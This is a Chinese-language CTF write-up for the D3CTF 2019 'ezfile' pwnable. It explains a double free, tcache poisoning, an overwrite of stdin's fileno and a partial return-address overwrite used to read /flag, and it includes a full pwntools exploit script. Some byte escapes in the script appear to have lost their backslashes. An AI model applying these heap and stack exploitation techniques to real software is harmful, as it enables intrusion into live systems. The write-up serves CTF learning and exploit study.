Challenge
-
题目:ezfile
-
类型:pwnable
-
来源:D3CTF 2019 Quals
-
环境:Ubuntu 18.04
-
难度:Medium
Analysis
照旧先看一下保护,没开canary那就是八成有栈溢出咯。
checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
不过还开了seccomp禁止了execve,那就是不能getshell咯
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
继续看,程序开始读入一个长度为90的字符串,并且打印出来。接下来又是菜单题了,每次malloc大小最多为0x18;encrypt可以加密note,不过key是随机的;free之后没有清零,存在double free漏洞了。
void __cdecl deleteNote()
{
signed int i; // [rsp+Ch] [rbp-4h]
myputs("input the index to delete >>", 0);
i = getNumber();
if ( i >= 0 && i <= 15 )
{
if ( notes[i] )
{
free(notes[i]);
states[i] = 0;
myputs("complete", 1);
}
else
{
myputs("in using", 1);
}
}
else
{
myputs("out of index", 1);
}
}
由于malloc的大小有限,因此需要利用tcache poisoning attack使链接指向伪造的一个较大的chunk(0x90),然后通过8次free使该chunk进入unsorted bin里,这样堆上就会出现libc的地址(0x55555575680)。
0x555555757560: 0x0000000000000000 0x0000000000000021
0x555555757570: 0x000055555575750a 0x0000000000000091
0x555555757580: 0x0000155555326ca0 0x0000155555326ca0
0x555555757590: 0x0000000000000001 0x0000000000000091
0x5555557575a0: 0x0000000000000000 0x0000000000000021
按照以往的套路,我们再一次利用tcache poisoning attack使链接指向_IO_2_1_stdout,修改_flags和_IO_write_base的值,完成leak就好办了。但是这里有两个限制条件,一个是每次malloc的大小不超过0x18,另一个最多只能malloc 15次,显然是不够用的(maybe完成利用要17次?)。注意到encryptNode的时候读取seed,恰好可以覆盖到返回地址,虽然程序开启了pie,但是我们可以部分覆盖返回地址,让其往code段跳。
void __cdecl encryptNode()
{
char seed[80]; // [rsp+0h] [rbp-60h]
int index; // [rsp+58h] [rbp-8h]
int size; // [rsp+5Ch] [rbp-4h]
myputs("input the index to encrypt >>", 0);
index = getNumber();
myputs("input the size of the seed (max 0x50) >>", 0);
size = getNumber();
if ( size < 0 || size > 0x70 )
size = 0x70;
myputs("input the crypt seed >>", 0);
getContent(seed, size);
doSomeThing(seed, index);
}
接下来的问题就是跳到哪里的问题,事实上这里也是出题人故意设置的地方,函数返回被劫持的时候,此时rdi指向前面输入的栈空间,其余的rsi,rdx也是可控的。那我们这里让其跳到0x1147,去执行open('/flag', 0)就可以打开flag。那么怎么打印flag了,因此程序还使用了re_entry防止我们再次进入菜单里利用栈溢出,那么我们能做的只有在scanf这个函数里了。事实上,我们在上一步只需要把stdin的fileno改为3,scanf就会从fd=3的文件流去读,然后通过printf打印出来。
.text:000000000000113B mov esi, 0 ; oflag
.text:0000000000001140 lea rdi, file ; "/dev/urandom"
.text:0000000000001147 mov eax, 0
.text:000000000000114C call _open
.text:0000000000001151 mov cs:fd, eax
.text:0000000000001157 mov eax, cs:fd
.text:000000000000115D cmp eax, 0FFFFFFFFh
.text:0000000000001160 jnz short loc_117D
.text:0000000000001162 mov esi, 1 ; newline
.text:0000000000001167 lea rdi, aErrorInOpening ; "error in opening /dev/urandom"
.text:000000000000116E call myputs
.text:0000000000001173 mov edi, 0 ; status
.text:0000000000001178 call _exit
.text:000000000000117D ; ---------------------------------------------------------------------------
.text:000000000000117D
.text:000000000000117D loc_117D: ; CODE XREF: main+7B↑j
.text:000000000000117D lea rsi, name
.text:0000000000001184 lea rdi, a90s ; "%90s"
.text:000000000000118B mov eax, 0
.text:0000000000001190 call ___isoc99_scanf
Solution
完整利用脚本如下,由于libc那里有4个bit的随机化,同时code那里也有4个bit的随机化,那么最后成功的概率是1/256
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
libc = ELF('./libc.so.6')
r = process('./ezfile', aslr=False)
def m(size, data):
r.sendlineafter('>>', '1')
r.sendlineafter('>>', str(size))
if len(data) == size:
r.sendafter('>>', data)
else:
r.sendlineafter('>>', data)
def f(idx):
r.sendlineafter('>>', '2')
r.sendlineafter('>>', str(idx))
def e(idx, data):
r.sendlineafter('>>', '3')
r.sendlineafter('>>', str(idx))
r.sendlineafter('>>', str(len(data)))
r.sendlineafter('>>', data)
r.sendlineafter('your name: ', '0ops')
for i in xrange(7):
m(0x10, p64(i) + p64(0x91))
for i in xrange(5):
f(i+2)
f(0)
f(0)
m(0x1, 'x80')
m(0x10, '')
m(0x10, '')
for i in xrange(8):
f(9)
m(0x2, 'x70x6a')
f(0)
f(0)
m(0x1, 'x80')
m(0x10, '')
m(0x10, '')
m(8, p64(3)) # edit fileno 3
pause()
p = '/flagx00'
p = p.ljust(112-8, 'x00')
p += 'x47x51'
e(-1, p)
r.interactive()
原文始发于微信公众号(pwnable):ezfile
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论